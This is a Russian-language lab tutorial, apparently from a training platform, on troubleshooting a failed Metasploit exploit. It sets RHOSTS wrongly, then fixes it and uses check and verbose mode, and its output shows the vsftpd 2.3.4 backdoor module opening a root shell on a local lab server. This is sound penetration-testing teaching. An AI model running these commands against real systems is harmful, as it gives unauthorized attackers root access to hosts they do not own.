Устранение сбоев эксплойтов в Metasploit

Kali LinuxBeginner
Практиковаться сейчас

Введение

Metasploit — это мощный фреймворк для тестирования на проникновение, который упрощает взлом. Однако даже с лучшими инструментами эксплойты могут не сработать по разным причинам: неверная информация о цели, исправленная система или сетевые проблемы. Умение диагностировать и устранять эти сбои является критически важным навыком для любого специалиста по безопасности.

В этой лаборатории вы изучите базовый рабочий процесс устранения неполадок с неработающим эксплойтом в Metasploit. Мы намеренно неправильно настроим эксплойт, наблюдем за сбоем, а затем используем встроенные инструменты Metasploit для выявления и исправления проблемы. Вы научитесь использовать такие команды, как show options, check и настройку Verbose, чтобы получить необходимую информацию для успеха.

Для этой лаборатории на вашей локальной машине был запущен уязвимый FTP-сервер, который послужит нашей целью.

Выбор эксплойта и установка некорректных опций

На этом этапе мы запустим консоль Metasploit Framework, выберем модуль эксплойта и намеренно настроим его с некорректной опцией, чтобы смоделировать распространенную ошибку пользователя. Это подготовит почву для процесса устранения неполадок.

Сначала откройте терминал и запустите консоль Metasploit. Мы используем флаг -q (quiet), чтобы пропустить баннер и ускорить процесс загрузки.

msfconsole -q

Как только вы окажетесь в приглашении msf6 >, мы выполним поиск эксплойта, нацеленного на службу vsftpd.

search vsftpd

Вы увидите список модулей. Нас интересует exploit/unix/ftp/vsftpd_234_backdoor. Выберем его с помощью команды use.

use exploit/unix/ftp/vsftpd_234_backdoor

Ваше приглашение изменится, указывая, что модуль эксплойта теперь активен. Теперь нам нужно настроить цель. Самой важной опцией является RHOSTS, что означает Remote Hosts (удаленные хосты). Мы намеренно установим для нее неверный IP-адрес.

set RHOSTS 192.168.1.100

Вы увидите подтверждение того, что RHOSTS был установлен. Теперь мы подготовили эксплойт, который гарантированно не сработает.

Запуск эксплойта и анализ сообщения об ошибке

На этом этапе вы выполните неправильно сконфигурированный эксплойт и научитесь интерпретировать полученное сообщение об ошибке. Это первая и самая важная часть устранения неполадок.

После выбора эксплойта vsftpd_234_backdoor и установки неверного RHOSTS попробуем его запустить. Вы можете использовать команду run или exploit.

run

Эксплойт попытается подключиться к указанному нами IP-адресу (192.168.1.100). Поскольку этот хост недоступен из лабораторной среды, эксплойт завершится неудачей. Вы увидите вывод, похожий на следующий:

[*] 192.168.1.100:21 - The target is not exploitable.
[*] Exploit completed, but no session was created.

Сообщение The target is not exploitable (Цель не является уязвимой) или аналогичное сообщение об ошибке подключения является явным признаком того, что Metasploit не смог достичь целевой службы или взаимодействовать с ней. Это говорит нам о том, что проблема, скорее всего, связана с сетью или конфигурацией целевого хоста.

Использование команды show options для просмотра конфигурации

На этом этапе, после наблюдения за ошибкой, первым логичным действием является проверка наших настроек. Команда show options является основным инструментом для этой задачи. Она отображает все настраиваемые параметры для текущего модуля.

Давайте проверим опции, которые мы установили для нашего эксплойта.

show options

Эта команда отобразит таблицу опций для эксплойта vsftpd_234_backdoor:

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting    Required  Description
   ----    ---------------    --------  -----------
   RHOSTS  192.168.1.100      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21                 yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Внимательно посмотрите на поле Current Setting для RHOSTS. Там указан 192.168.1.100, который, как мы знаем, неверен. Уязвимая служба для этой лаборатории работает на локальной машине. IP-адрес локальной машины — 127.0.0.1.

Давайте исправим значение RHOSTS.

set RHOSTS 127.0.0.1

Теперь, если вы снова выполните команду show options, вы увидите, что значение RHOSTS было обновлено корректно.

Использование команды check для проверки на уязвимость

На этом этапе вы научитесь использовать команду check. Перед запуском эксплойта часто бывает разумно проверить, действительно ли цель уязвима. Команда check позволяет сделать это безопасно, не запуская фактически полезную нагрузку эксплойта. Обратите внимание, что не все модули поддерживают эту функцию.

Теперь, когда мы исправили опцию RHOSTS, давайте используем check, чтобы увидеть, считает ли Metasploit цель уязвимой.

check

Если цель сконфигурирована правильно и служба уязвима, вы должны увидеть положительное подтверждающее сообщение.

[*] 127.0.0.1:21 - The target is vulnerable.

Это сообщение, The target is vulnerable (Цель уязвима), дает нам высокую уверенность в том, что эксплойт будет успешным при его запуске. Оно подтверждает, что Metasploit смог подключиться к цели и проверить наличие бэкдора. Если бы проверка не удалась, нам пришлось бы провести дальнейшее расследование, но пока это очень хороший знак.

Установка опции Verbose в true и повторный запуск для получения дополнительных сведений

На этом этапе вы узнаете об опции Verbose. Иногда, даже когда check проходит успешно, эксплойт может завершиться неудачей. Чтобы получить больше информации о том, что эксплойт делает за кулисами, вы можете включить подробное журналирование (verbose logging). Это глобальная настройка, которая влияет на все модули.

Давайте включим режим подробного вывода с помощью команды setg, которая устанавливает значение глобально.

setg Verbose true

Теперь, с включенным режимом подробного вывода и правильным значением RHOSTS, давайте снова запустим эксплойт.

run

На этот раз вы увидите гораздо более подробный вывод. Подробное журналирование показывает вам пошаговый процесс работы эксплойта, включая попытки подключения и отправляемые данные. Самое главное, эксплойт теперь должен завершиться успешно.

[*] 127.0.0.1:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 127.0.0.1:21 - USER: Sending "USER back:)"
[*] 127.0.0.1:21 - PASS: Sending "PASS moor"
[+] 127.0.0.1:21 - Found shell.
[*] Command shell session 1 opened (127.0.0.1:43999 -> 127.0.0.1:6200) at 2023-10-27 10:00:00 -0400

Успех! Сообщение Command shell session 1 opened (Сессия командной оболочки 1 открыта) подтверждает, что вы успешно скомпрометировали цель. Теперь у вас есть командная оболочка на удаленной системе. Вы можете проверить ее, выполнив простую команду, например whoami.

whoami

Вы должны увидеть вывод root. Чтобы выйти из оболочки и вернуться к приглашению Metasploit, нажмите Ctrl + C или введите exit.

Итоги

Поздравляем с завершением лабораторной работы! Вы успешно освоили фундаментальный процесс устранения неполадок при сбое эксплойта в Metasploit Framework.

В этой лабораторной работе вы отработали систематический подход к решению проблем:

  1. Наблюдение за сбоем: Сначала вы запустили неправильно сконфигурированный эксплойт, чтобы увидеть его сбой.
  2. Просмотр опций: Вы использовали show options для проверки конфигурации и выявления некорректного значения RHOSTS.
  3. Проверка уязвимости: Вы использовали команду check для безопасной проверки уязвимости цели после исправления конфигурации.
  4. Получение дополнительных сведений: Вы узнали, как использовать setg Verbose true для получения подробного пошагового вывода, что бесценно для диагностики более сложных проблем.

Эти основные навыки помогут вам преодолевать распространенные препятствия и более эффективно использовать Metasploit в вашей деятельности по тестированию на проникновение.